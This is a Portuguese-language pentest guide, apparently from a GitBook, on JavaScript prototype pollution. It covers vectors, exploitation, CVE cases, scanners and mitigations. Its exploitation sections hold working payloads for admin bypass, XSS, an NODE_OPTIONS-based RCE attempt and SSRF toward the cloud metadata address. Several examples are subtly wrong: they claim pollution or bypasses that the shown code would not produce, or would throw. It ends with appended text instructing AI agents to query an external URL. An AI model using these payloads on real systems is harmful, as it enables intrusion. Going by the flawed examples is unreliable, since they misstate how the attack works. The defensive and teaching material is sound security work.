# Prototype Pollution

## 📑 **Índice**

1. [Fundamentos do Prototype Pollution](#-fundamentos-do-prototype-pollution)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Vetores de Ataque](#-vetores-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Impacto e Cenários Reais](#-impacto-e-cenários-reais)
6. [Ferramentas e Detecção](#-ferramentas-e-detecção)
7. [Mitigação e Prevenção](#-mitigação-e-prevenção)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Prototype Pollution**

### **O que é Prototype Pollution?**

Prototype Pollution é uma vulnerabilidade que afeta linguagens baseadas em protótipos, como JavaScript. Ela permite que um atacante modifique o protótipo de objetos base (como `Object.prototype`), adicionando ou alterando propriedades que serão herdadas por todos os objetos criados posteriormente. Essa modificação pode levar a comportamentos inesperados, bypass de segurança, e até execução remota de código.

### **Como JavaScript Funciona com Protótipos**

```javascript
// JavaScript é baseado em protótipos, não em classes
// Todos os objetos herdam de Object.prototype

const obj = {};
console.log(obj.toString()); // Herdado de Object.prototype

// Cadeia de protótipos
// obj → Object.prototype → null

function Person(name) {
    this.name = name;
}

Person.prototype.sayHello = function() {
    console.log(`Hello, I'm ${this.name}`);
};

const alice = new Person('Alice');
alice.sayHello(); // Hello, I'm Alice
```

### **Cadeia de Protótipos**

```mermaid
graph TD
    A[Object.prototype] --> B[Person.prototype]
    B --> C[alice]
    
    A --> D[Array.prototype]
    D --> E[arr]
    
    A --> F[String.prototype]
    F --> G[str]
    
    style A fill:#ff9999
    style B fill:#ffcccc
    style D fill:#ffcccc
    style F fill:#ffcccc
```

### **Estrutura de Herança**

```javascript
// Cadeia de protótipos
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__ === null); // true

// Função construtora
function User(name) {
    this.name = name;
}
User.prototype.role = 'user';

const admin = new User('Admin');
console.log(admin.role); // 'user' (herdado)
console.log(admin.hasOwnProperty('role')); // false

// Modificar protótipo afeta todos
User.prototype.role = 'admin';
console.log(admin.role); // 'admin'
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Como o Pollution Ocorre**

```javascript
// Vulnerabilidade: Mesclagem recursiva sem validação
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (typeof target[key] !== 'object') {
                target[key] = {};
            }
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Objeto malicioso
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');

const config = {};
merge(config, malicious);

console.log({}.isAdmin); // true! (polluted)
```

### **Vetores de Poluição**

| Vetor                         | Descrição                  | Exemplo                             |
| ----------------------------- | -------------------------- | ----------------------------------- |
| **`__proto__`**               | Acesso direto ao protótipo | `obj.__proto__.x = 1`               |
| **`constructor.prototype`**   | Acesso via construtor      | `obj.constructor.prototype.x = 1`   |
| **`prototype`**               | Acesso em funções          | `Class.prototype.x = 1`             |
| **`Object.setPrototypeOf()`** | Função de definição        | `Object.setPrototypeOf(obj, proto)` |
| **`Object.create()`**         | Criação com protótipo      | `Object.create(proto)`              |

### **Propriedades Especiais**

```javascript
// Propriedades que podem causar poluição
const dangerousProps = [
    '__proto__',
    'constructor',
    'prototype',
    '__defineGetter__',
    '__defineSetter__',
    '__lookupGetter__',
    '__lookupSetter__',
    'toString',
    'valueOf'
];

// Exemplo de poluição via constructor
const obj = {};
obj.constructor.prototype.isAdmin = true;

console.log({}.isAdmin); // true
```

***

## ⚔️ **Vetores de Ataque**

### **1. Poluição via `__proto__`**

```javascript
// Cenário 1: Query string
// URL: /api/config?__proto__[isAdmin]=true

const query = req.query;
const config = {};

// Vulnerável: mescla direta
Object.assign(config, query);

// Agora todos os objetos têm isAdmin
console.log({}.isAdmin); // true
```

### **2. Poluição via JSON Parsing**

```javascript
// JSON malicioso
const maliciousJSON = '{"__proto__": {"isAdmin": true}}';
const obj = JSON.parse(maliciousJSON);

// Dependendo do parser, pode poluir o protótipo
// Exemplo: lodash.merge, jQuery.extend, etc.
```

### **3. Poluição via Deep Merge**

```javascript
// Função de merge recursiva vulnerável
function deepMerge(target, source) {
    for (const key in source) {
        if (source[key] && typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            deepMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Payload
const payload = {
    "__proto__": {
        "polluted": true
    }
};

const config = {};
deepMerge(config, payload);
console.log({}.polluted); // true
```

### **4. Poluição em Frameworks**

```javascript
// Express.js - Configuração vulnerável
app.use(bodyParser.json());

app.post('/api/merge', (req, res) => {
    const config = {};
    // Vulnerável: mescla direta
    Object.assign(config, req.body);
    res.json(config);
});
```

***

## 🔧 **Técnicas de Exploração**

### **1. Bypass de Autenticação**

```javascript
// Aplicação vulnerável
function isAdmin(user) {
    // Verifica se user tem a propriedade isAdmin
    return user.isAdmin === true;
}

// Poluição do protótipo
Object.prototype.isAdmin = true;

// Agora qualquer usuário é admin
console.log(isAdmin({})); // true
console.log(isAdmin({ name: 'guest' })); // true
```

### **2. Bypass de Validação de Input**

```javascript
// Validação de entrada vulnerável
function validateInput(data) {
    const schema = {
        name: 'string',
        age: 'number'
    };
    
    // Se polluted, pode contornar validação
    for (const key in schema) {
        if (typeof data[key] !== schema[key]) {
            throw new Error('Invalid input');
        }
    }
}

// Poluição para adicionar propriedade 'allowed'
Object.prototype.allowed = true;

// Bypass
validateInput({}); // Passa!
```

### **3. XSS via Prototype Pollution**

```javascript
// Template engine vulnerável
function render(template, data) {
    return template.replace(/{{(.*?)}}/g, (_, key) => {
        // Se polluted, pode acessar __proto__
        return data[key.trim()] || '';
    });
}

// Poluição para injetar script
Object.prototype.__proto__ = {
    xss: '<img src=x onerror=alert(1)>'
};

const html = render('<div>{{xss}}</div>', {});
// Resultado: <div><img src=x onerror=alert(1)></div>
```

### **4. RCE via Prototype Pollution (Node.js)**

```javascript
// Exemplo: child_process exec
const { exec } = require('child_process');

function runCommand(cmd, options) {
    // Se options pode ser poluído...
    exec(cmd, options);
}

// Poluição para adicionar shell
Object.prototype.shell = '/bin/sh';
Object.prototype.timeout = 0;

// Agora exec() pode ser manipulada
runCommand('id', {}); // Executa com shell customizado
```

### **5. Remote Code Execution (CVE-2019-11358)**

```javascript
// jQuery 3.3.1 - $.extend vulnerability
const malicious = JSON.parse('{"__proto__": {"polluted": true}}');

// jQuery.extend vulnerável
$.extend(true, {}, malicious);

// Poluição bem-sucedida
console.log({}.polluted); // true
```

### **6. Express.js Bypass**

```javascript
// Express.js - Rota de autenticação
app.post('/login', (req, res) => {
    const user = req.body;
    
    // Vulnerável: mescla direta
    const session = Object.assign({}, user);
    
    if (session.isAdmin) {
        // Acesso admin
        res.send('Admin access granted');
    } else {
        res.send('User access');
    }
});

// Payload
// POST /login
// Content-Type: application/json
// {"__proto__": {"isAdmin": true}}

// Qualquer login vira admin!
```

### **7. Lodash Prototype Pollution (CVE-2019-10744)**

```javascript
const _ = require('lodash');

// Vulnerável até v4.17.11
const payload = JSON.parse('{"__proto__": {"polluted": true}}');
_.merge({}, payload);

console.log({}.polluted); // true
```

### **8. Advanced Payloads**

```javascript
// Payload para execução remota
const rcePayload = {
    "__proto__": {
        "NODE_OPTIONS": "--require /tmp/evil.js",
        "NODE_DEBUG": "child_process"
    }
};

// Outro payload para bypass de CSP
const cspPayload = {
    "__proto__": {
        "defaultSrc": ["'unsafe-eval'"],
        "scriptSrc": ["'unsafe-inline'"]
    }
};

// Payload para SSRF
const ssrfPayload = {
    "__proto__": {
        "host": "169.254.169.254",
        "port": 80,
        "protocol": "http:"
    }
};
```

***

## 💥 **Impacto e Cenários Reais**

### **Impactos por Contexto**

| Contexto            | Impacto                   | Exemplo                                   |
| ------------------- | ------------------------- | ----------------------------------------- |
| **Web Frontend**    | XSS, Bypass de validação  | Injeção de scripts, contornar sanitização |
| **Node.js Backend** | RCE, SSRF, Bypass de auth | Execução de código, acesso interno        |
| **Bibliotecas**     | Chain de ataques          | jQuery, Lodash, Mongoose vulneráveis      |
| **Frameworks**      | Comprometimento total     | Express, Angular, React (indireto)        |

### **Cadeia de Ataque**

```mermaid
graph TD
    A[Prototype Pollution] --> B[Modificação de Protótipo]
    B --> C[Propriedades Maliciosas]
    
    C --> D[Bypass de Autenticação]
    C --> E[XSS]
    C --> F[RCE]
    C --> G[SSRF]
    
    D --> H[Comprometimento de Conta]
    E --> I[Execução de Script]
    F --> J[Controle do Servidor]
    G --> K[Acesso a Serviços Internos]
```

### **Caso 1: CVE-2019-11358 (jQuery)**

```javascript
// jQuery 3.3.1 e anteriores vulneráveis
$.extend(true, {}, JSON.parse('{"__proto__": {"polluted": true}}'));
console.log({}.polluted); // true
// Permite XSS e outros ataques
```

### **Caso 2: CVE-2019-10744 (Lodash)**

```javascript
// Lodash até 4.17.11
_.merge({}, JSON.parse('{"__proto__": {"polluted": true}}'));
console.log({}.polluted); // true
// Permite RCE em combinação com outras vulnerabilidades
```

### **Caso 3: Mongoose Prototype Pollution**

```javascript
const mongoose = require('mongoose');

// Schema vulnerável
const User = mongoose.model('User', {
    name: String,
    role: String
});

// Payload
const payload = {
    "__proto__": {
        "role": "admin"
    }
};

// Se mesclado com objeto existente
const user = new User(payload);
console.log(user.role); // 'admin' (poluído)
```

***

## 🛠️ **Ferramentas e Detecção**

### **1. Scanner Automático**

```javascript
// prototype_pollution_scanner.js
const axios = require('axios');

class PrototypePollutionScanner {
    constructor(target) {
        this.target = target;
    }
    
    async testPayload(payload) {
        try {
            const response = await axios.post(this.target, payload);
            
            // Verificar se poluição ocorreu
            if (global.polluted === true || Object.prototype.polluted === true) {
                console.log('[!] Vulnerável!');
                return true;
            }
        } catch (err) {}
        return false;
    }
    
    async scan() {
        const payloads = [
            { "__proto__": { "polluted": true } },
            { "constructor": { "prototype": { "polluted": true } } },
            { "__proto__": { "toString": "polluted" } }
        ];
        
        for (const payload of payloads) {
            console.log(`[*] Testando payload: ${JSON.stringify(payload)}`);
            await this.testPayload(payload);
        }
    }
}
```

### **2. Ferramentas de Detecção**

```bash
# ESLint com regras personalizadas
npm install eslint-plugin-security

# Snyk para detecção de dependências
snyk test

# NPM Audit
npm audit

# RetireJS - Detecção de vulnerabilidades
retire --path ./node_modules
```

### **3. Node.js Security Scanner**

```javascript
// script/detect-prototype-pollution.js
const vm = require('vm');

function isVulnerable() {
    const sandbox = {};
    const context = vm.createContext(sandbox);
    
    try {
        const script = new vm.Script(`
            const malicious = JSON.parse('{"__proto__": {"polluted": true}}');
            const obj = {};
            Object.assign(obj, malicious);
        `);
        
        script.runInContext(context);
        
        return sandbox.polluted === true;
    } catch (err) {
        return false;
    }
}

console.log(isVulnerable() ? 'Vulnerável!' : 'Seguro');
```

### **4. Burp Suite Extensions**

```yaml
Extensões para detectar Prototype Pollution:
  - Prototype Pollution Scanner
  - JS Scan
  - BurpBounty
```

***

## 🛡️ **Mitigação e Prevenção**

### **1. Validação de Entrada**

```javascript
// Função segura de merge
function safeMerge(target, source) {
    const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
    
    for (const key in source) {
        if (BLACKLIST.includes(key)) {
            console.warn(`Blocked prototype pollution attempt: ${key}`);
            continue;
        }
        
        if (source[key] && typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
```

### **2. Imutabilidade com Object.freeze**

```javascript
// Congelar Object.prototype
Object.freeze(Object.prototype);
Object.freeze(Object);
Object.freeze(Function.prototype);

// Verificar se está congelado
console.log(Object.isFrozen(Object.prototype)); // true
```

### **3. Usar Map em Vez de Objetos**

```javascript
// Map é imune a prototype pollution
const config = new Map();
config.set('__proto__', 'malicious'); // Seguro!

// Diferente de objeto
const obj = {};
obj.__proto__ = { malicious: true }; // Polluted
```

### **4. Sanitização de JSON**

```javascript
function sanitizeJSON(obj) {
    const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
    
    if (typeof obj !== 'object' || obj === null) return obj;
    
    for (const key in obj) {
        if (BLACKLIST.includes(key)) {
            delete obj[key];
            console.warn(`Removed malicious key: ${key}`);
        } else {
            sanitizeJSON(obj[key]);
        }
    }
    return obj;
}

// Uso seguro
const safeData = sanitizeJSON(JSON.parse(userInput));
```

### **5. Desabilitar Propriedades Perigosas**

```javascript
// Desabilitar __proto__ em Node.js
delete Object.prototype.__proto__;

// Configurar propriedades não enumeráveis
Object.defineProperty(Object.prototype, '__proto__', {
    enumerable: false,
    configurable: false,
    writable: false
});
```

### **6. Bibliotecas Seguras**

```javascript
// Usar bibliotecas seguras
const deepmerge = require('deepmerge');

// deepmerge safe
const result = deepmerge(target, source, {
    isMergeableObject: (obj) => {
        // Não mesclar __proto__
        return obj && typeof obj === 'object' && 
               !['__proto__', 'constructor'].includes(obj);
    }
});
```

### **7. ESLint Rules**

```javascript
// .eslintrc.js
module.exports = {
    rules: {
        'no-prototype-builtins': 'error',
        'no-extend-native': 'error',
        'no-implied-eval': 'error'
    }
};
```

### **8. Package.json Security**

```json
{
    "scripts": {
        "audit": "npm audit",
        "security": "npm audit --audit-level=high"
    },
    "resolutions": {
        "lodash": ">=4.17.12",
        "jquery": ">=3.4.0"
    }
}
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Validação de Entrada**
  * [ ] Bloquear `__proto__`, `constructor`, `prototype`
  * [ ] Sanitizar objetos antes de mesclar
  * [ ] Validar JSON recebido
* [ ] **Imutabilidade**
  * [ ] Congelar Object.prototype
  * [ ] Usar Map em vez de objetos para dados dinâmicos
  * [ ] Desabilitar **proto** access
* [ ] **Bibliotecas**
  * [ ] Manter dependências atualizadas
  * [ ] Usar bibliotecas com patches de segurança
  * [ ] Auditar regularmente com npm audit
* [ ] **Código**
  * [ ] Evitar funções deep merge com entrada do usuário
  * [ ] Usar `Object.create(null)` para objetos puros
  * [ ] Validar propriedades antes de acessar

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar funções de merge (lodash, jQuery.extend)
  * [ ] Mapear endpoints que aceitam JSON
  * [ ] Analisar uso de `Object.assign` com entrada externa
* [ ] **Exploração**
  * [ ] Testar payloads `__proto__`
  * [ ] Testar payloads `constructor.prototype`
  * [ ] Testar payloads aninhados
* [ ] **Validação**
  * [ ] Verificar se propriedade aparece em objetos vazios
  * [ ] Testar bypass de autenticação
  * [ ] Tentar alcançar RCE (Node.js)

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Prototype Pollution é uma vulnerabilidade crítica em JavaScript:
  ✅ Permite modificar comportamento de todos os objetos
  ✅ Pode levar a XSS, RCE, bypass de autenticação
  ✅ Presente em bibliotecas populares (jQuery, Lodash)

Defesas essenciais:
  ❌ Nunca mesclar objetos com entrada do usuário sem sanitização
  ✓ Congelar Object.prototype em produção
  ✓ Usar Map para dados dinâmicos
  ✓ Manter dependências atualizadas
  ✓ Validar propriedades perigosas
```

### **Recomendações Finais**

1. **Para Desenvolvedores**
   * Sempre sanitizar entrada de usuário
   * Usar `Object.create(null)` para objetos que não herdam
   * Evitar `__proto__` e `constructor` em lógica de negócio
   * Atualizar dependências regularmente
2. **Para Pentesters**
   * Testar todas as variações de payload
   * Explorar impacto em autenticação e autorização
   * Buscar cadeias para RCE em Node.js
   * Documentar bibliotecas vulneráveis
3. **Para Arquitetos**
   * Adotar políticas de segurança em dependências
   * Implementar CSP (Content Security Policy)
   * Usar Snyk/Dependabot para monitoramento
   * Considerar imutabilidade de protótipos


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/prototype-pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
